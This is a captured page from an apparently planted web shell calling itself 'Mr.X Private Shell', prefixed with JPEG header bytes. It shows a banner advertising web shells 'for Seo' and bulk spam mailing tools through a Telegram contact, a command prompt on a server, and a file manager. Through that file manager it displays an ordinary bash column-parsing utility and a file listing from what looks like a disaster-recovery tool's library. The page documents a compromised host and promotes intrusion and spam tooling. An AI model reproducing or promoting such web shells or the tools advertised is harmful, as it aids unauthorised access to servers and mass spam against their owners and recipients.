����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.90: ~ $
# Utility functions for working with columns in output of tools.

# Columns have a header. The header fields are separated by at least two spaces.
# These functions expect output like:
# <<
# Model: ATA TOSHIBA MK1652GS (scsi)
# Disk /dev/sda: 160GB
# Sector size (logical/physical): 512B/512B
# Partition Table: msdos
#
# Number  Start   End     Size    Type     File system  Flags
#  1      32.3kB  98.7MB  98.7MB  primary  ext3         boot
#  2      98.7MB  140GB   140GB   primary               lvm
# >>

set_separator() {
    OIFS=$IFS
    IFS="$1"
}

restore_separator() {
    IFS=$OIFS
}

columns=
# produces a list of header=end pairs in $columns
init_columns() {
    local line=$1
    columns=""

    local word=""
    local wasspace=""
    local len=${#line}
    local i=0
    while (( $i < $len )) ;
    do
        local char="${line:$i:1}"
        if [[ "$wasspace" ]] && [[ "$char" = " " ]] ;then
            if [[ "$word" ]] ; then
                # word complete, write to list
                let start=$i-${#word}
                word=$( echo "$word" | tr '[:upper:]' '[:lower:]')

                columns+="${word%% }=$start;"
                word=""
            fi
        else
            word="${word}${char}"
        fi

        if [[ "$char" = " " ]] ; then
            wasspace="yes"
        else
            wasspace=""
        fi

        let i++
    done
    # last word
    let start=$i-${#word}
    word=$( echo "$word"| tr '[:upper:]' '[:lower:]')
    columns+="${word%% }=$start;"

    #echo "c:$columns"
}

# get_column_size $header
get_column_size() {
    local start=$(get_column_start "$1")

    local nextheader=$(get_next_header "$1")
    if [[ -z "$nextheader" ]] ; then
        echo "255"
        return 0
    fi
    local end=$(get_column_start "$nextheader")
    let local size=$end-$start
    echo "$size"
}

# get_column_start $header
get_column_start() {
    local pair
    set_separator ";"
    for pair in $columns ; do
        local header=${pair%=*}
        local hstart=${pair#*=}

        if [[ "$header" = "$1" ]] ; then
            echo "$hstart"
            restore_separator
            return 0
        fi
    done
    restore_separator
    return 1
}

# get_next_header $header
get_next_header() {
    local pair
    local previous
    set_separator ";"
    for pair in $columns ; do
        local header=${pair%=*}
        local hstart=${pair#*=}

        if [[ "$previous" = "$1" ]] ; then
            echo "$header"
            restore_separator
            return 0
        fi

        previous=$header
    done
    restore_separator
    return 1
}

# get_columns $line $header1 $header2
# print the contents of the columns, separated by ;
get_columns() {
    local line=$1
    shift

    local headers=$@
    local value=""
    for header in $headers ; do
        local start=$(get_column_start "$header")
        local size=$(get_column_size "$header")
        #echo "$header $start $size"
        value+="${line:$start:$size};"
    done
    echo "$value"
}

Filemanager

Name Type Size Permission Actions
validated Folder 0755
.shellcheckrc File 25 B 0644
_input-output-functions.sh File 87.9 KB 0644
array-functions.sh File 1.08 KB 0644
authtoken-functions.sh File 16.83 KB 0644
bareos-functions.sh File 10.3 KB 0644
bootloader-functions.sh File 42.15 KB 0644
borg-functions.sh File 6.9 KB 0644
checklayout-workflow.sh File 646 B 0644
columns-functions.sh File 2.95 KB 0644
config-functions.sh File 7.87 KB 0644
drlm-functions.sh File 2.6 KB 0644
dump-workflow.sh File 6.89 KB 0644
filesystems-functions.sh File 10.63 KB 0644
finalizeonly-workflow.sh File 1.22 KB 0644
format-workflow.sh File 3.79 KB 0644
framework-functions.sh File 8.55 KB 0644
global-functions.sh File 41.29 KB 0644
help-workflow.sh File 3.5 KB 0644
hp_raid-functions.sh File 871 B 0644
layout-functions.sh File 61.66 KB 0644
layoutonly-workflow.sh File 803 B 0644
linux-functions.sh File 12.85 KB 0644
mail-functions.sh File 1.39 KB 0644
mkbackup-workflow.sh File 585 B 0644
mkbackuponly-workflow.sh File 368 B 0644
mkboot-workflow.sh File 1.13 KB 0644
mkopalpba-workflow.sh File 890 B 0644
mkrescue-functions.sh File 5.72 KB 0644
mkrescue-workflow.sh File 461 B 0644
mountonly-workflow.sh File 1.7 KB 0644
network-functions.sh File 8.53 KB 0644
opal-functions.sh File 15.67 KB 0644
opaladmin-workflow.sh File 18.37 KB 0644
output-functions.sh File 3.17 KB 0644
progresssubsystem.nosh File 2.32 KB 0644
rear-shell.bashrc File 2.67 KB 0644
recover-workflow.sh File 1.57 KB 0644
restoreonly-workflow.sh File 832 B 0644
rsync-functions.sh File 4.56 KB 0644
savelayout-workflow.sh File 739 B 0644
serial-functions.sh File 3.98 KB 0644
sesam-functions.sh File 1.18 KB 0644
shell-workflow.sh File 648 B 0644
udev-workflow.sh File 3.27 KB 0644
uefi-functions.sh File 6.33 KB 0644
validate-workflow.sh File 4.88 KB 0644
write-protect-functions.sh File 7.75 KB 0644